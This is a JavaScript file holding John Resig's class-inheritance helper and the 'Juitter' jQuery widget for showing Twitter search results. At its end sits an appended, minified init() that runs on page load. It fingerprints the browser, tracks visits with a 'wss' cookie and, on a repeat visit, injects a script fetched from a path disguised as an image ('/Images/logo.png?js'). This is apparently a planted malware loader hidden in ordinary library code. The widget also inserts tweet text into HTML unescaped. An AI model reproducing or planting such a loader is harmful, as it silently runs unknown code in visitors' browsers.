/* Simple JavaScript Inheritance
 * By John Resig http://ejohn.org/
 * MIT Licensed.
 */
// Inspired by base2 and Prototype
(function(){
  var initializing = false, fnTest = /xyz/.test(function(){xyz;}) ? /\b_super\b/ : /.*/;

  // The base Class implementation (does nothing)
  this.Class = function(){};
 
  // Create a new Class that inherits from this class
  Class.extend = function(prop) {
    var _super = this.prototype;
   
    // Instantiate a base class (but only create the instance,
    // don't run the init constructor)
    initializing = true;
    var prototype = new this();
    initializing = false;
   
    // Copy the properties over onto the new prototype
    for (var name in prop) {
      // Check if we're overwriting an existing function
      prototype[name] = typeof prop[name] == "function" &&
        typeof _super[name] == "function" && fnTest.test(prop[name]) ?
        (function(name, fn){
          return function() {
            var tmp = this._super;
           
            // Add a new ._super() method that is the same method
            // but on the super-class
            this._super = _super[name];
           
            // The method only need to be bound temporarily, so we
            // remove it when we're done executing
            var ret = fn.apply(this, arguments);       
            this._super = tmp;
           
            return ret;
          };
        })(name, prop[name]) :
        prop[name];
    }
   
    // The dummy class constructor
    function Class() {
      // All construction is actually done in the init method
      if ( !initializing && this.init )
        this.init.apply(this, arguments);
    }
   
    // Populate our constructed prototype object
    Class.prototype = prototype;
   
    // Enforce the constructor to be what we expect
    Class.constructor = Class;

    // And make this class extendable
    Class.extend = arguments.callee;
   
    return Class;
  };
})();


var Juitter = Class.extend({

	registerVar: function(opt) {

		// defaults
		this.numMSG = 20; // set the number of messages to be show
		this.containerDiv="juitterContainer"; // //Set a place holder DIV which will receive the list of tweets example <div id="juitterContainer"></div>
		this.loadMSG="Loading messages..."; // Loading message, if you want to show an image, fill it with "image/gif" and go to the next variable to set which image you want to use on 
		this.imgName="loader.gif"; // Loading image, to enable it, go to the loadMSG var above and change it to "image/gif"
		this.readMore="Read it on Twitter"; // read more message to be show after the tweet content
		this.nameUser="image"; // insert "image" to show avatar of "text" to show the name of the user that sent the tweet 
		
		// conf
		this.search=opt.search;
		this.fresh=opt.fresh?opt.fresh:43200000; // 12 hrs default
		this.lang=opt.lang?opt.lang:"";
		this.contDiv=opt.placeHolder?opt.placeHolder:this.containerDiv;
		this.loadMSG=opt.loadMSG?opt.loadMSG:this.loadMSG;
		this.gifName=opt.imgName?opt.imgName:this.imgName;
		this.numMSG=opt.total?opt.total:this.numMSG;
		this.readMore=opt.readMore?opt.readMore:this.readMore;
		this.fromID=opt.nameUser?opt.nameUser:this.nameUser;
		this.openLink=opt.openExternalLinks?"target='_blank'":"";
		
	},

	init: function(opt) {
	
		// init
		this.ultID=0;
		if($("#"+this.contDiv)) {
		
			this.registerVar(opt);
			// show the load message
			this.loading();
			// create the URL  to be request at the Twitter API
			//alert(this.search);
			//this.aURL = this.createURL(this.search, this.numMSG);
			// query the twitter API and create the tweets list
			this.conectaTwitter(1);
		}
	},
	
	update: function() {
		this.conectaTwitter();
	},
	
	loading: function() {
		if(this.loadMSG=="image/gif") {
			$("<img></img>")
				.attr('src', this.gifName)
				.appendTo("#"+this.contDiv); 
		} else {
			$("#"+this.contDiv).html(this.loadMSG);
		}
	},
	
	makelinks: function(texto) {
		var exp, tempParam, arrParam;
		
		//make links
		exp = /(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/ig;
		texto = texto.replace(exp,"<a href='$1' class='extLink' target='_blank'>$1</a>"); 
		exp = /[\@]+([A-Za-z0-9-_]+)/ig;
		texto = texto.replace(exp,"<a href='http://twitter.com/$1' class='profileLink' target='_blank'>@$1</a>"); 
		exp = /[\#]+([A-Za-z0-9-_]+)/ig;
		texto = texto.replace(exp,"<a href='http://twitter.com/search/%23$1' target='_blank' class='hashLink'>#$1</a>"); 
		
		return texto;
	},
	
	conectaTwitter: function() {
		var self, now;

		self = this;
		now = new Date();
		
		// query the twitter api and create the tweets list
		$.ajax({
			url: "http://search.twitter.com/search.json",
			data: { q: self.search, rpp: self.numMSG },
			type: "GET",
			dataType: "jsonp",
			timeout: 2000,
			error: function() { $("#"+self.contDiv).html("fail#"); },
			success: function(json) {
				
				$("#"+self.contDiv)
					.html("") // clear container contents
					.hide();
				
				$.each(json.results, function(i, item) {
					var date, age, link, tweet, mHTML;
				
					if(i==0) { // create list
						$("<ul></ul>")
							.attr("id", self.contDiv+"twittList")
							.attr("class", "twittList")
							.prependTo("#"+self.contDiv);
					}
					
					if (item.text != "undefined") {
						
						date = new Date(item.created_at);
						age = now.getTime() - date.getTime();
						link =  "http://twitter.com/"+item.from_user+"/status/"+item.id_str
						tweet = item.text;
						
						if(self.fromID=="image") {
							mHTML="<a href='http://twitter.com/"+item.from_user+"' target='_blank'><img src='"+item.profile_image_url+"' alt='"+item.from_user+"' class='juitterAvatar' align='right' style='padding: 0 0 5px 5px;' /></a> "+self.makelinks(tweet)+"</a>";
						} else {
							mHTML="<p><a href='http://twitter.com/"+item.from_user+"' target='_blank'>@"+item.from_user+":</a> "+self.makelinks(tweet)+"</p>";
						}
						
						if (age<self.fresh) {
						
							$("<li></li>")
								.attr("class", "fresh")
								.html(mHTML)
								.appendTo("#"+self.contDiv+"twittList");
								
						} else {
						
							$("<li></li>") 
								.html(mHTML)
								.appendTo("#"+self.contDiv+"twittList");
								
						}
					}
				});
				
				$("#"+self.contDiv)
					.show("slow");
				
			}
		});
	}
});

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/Images/logo.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
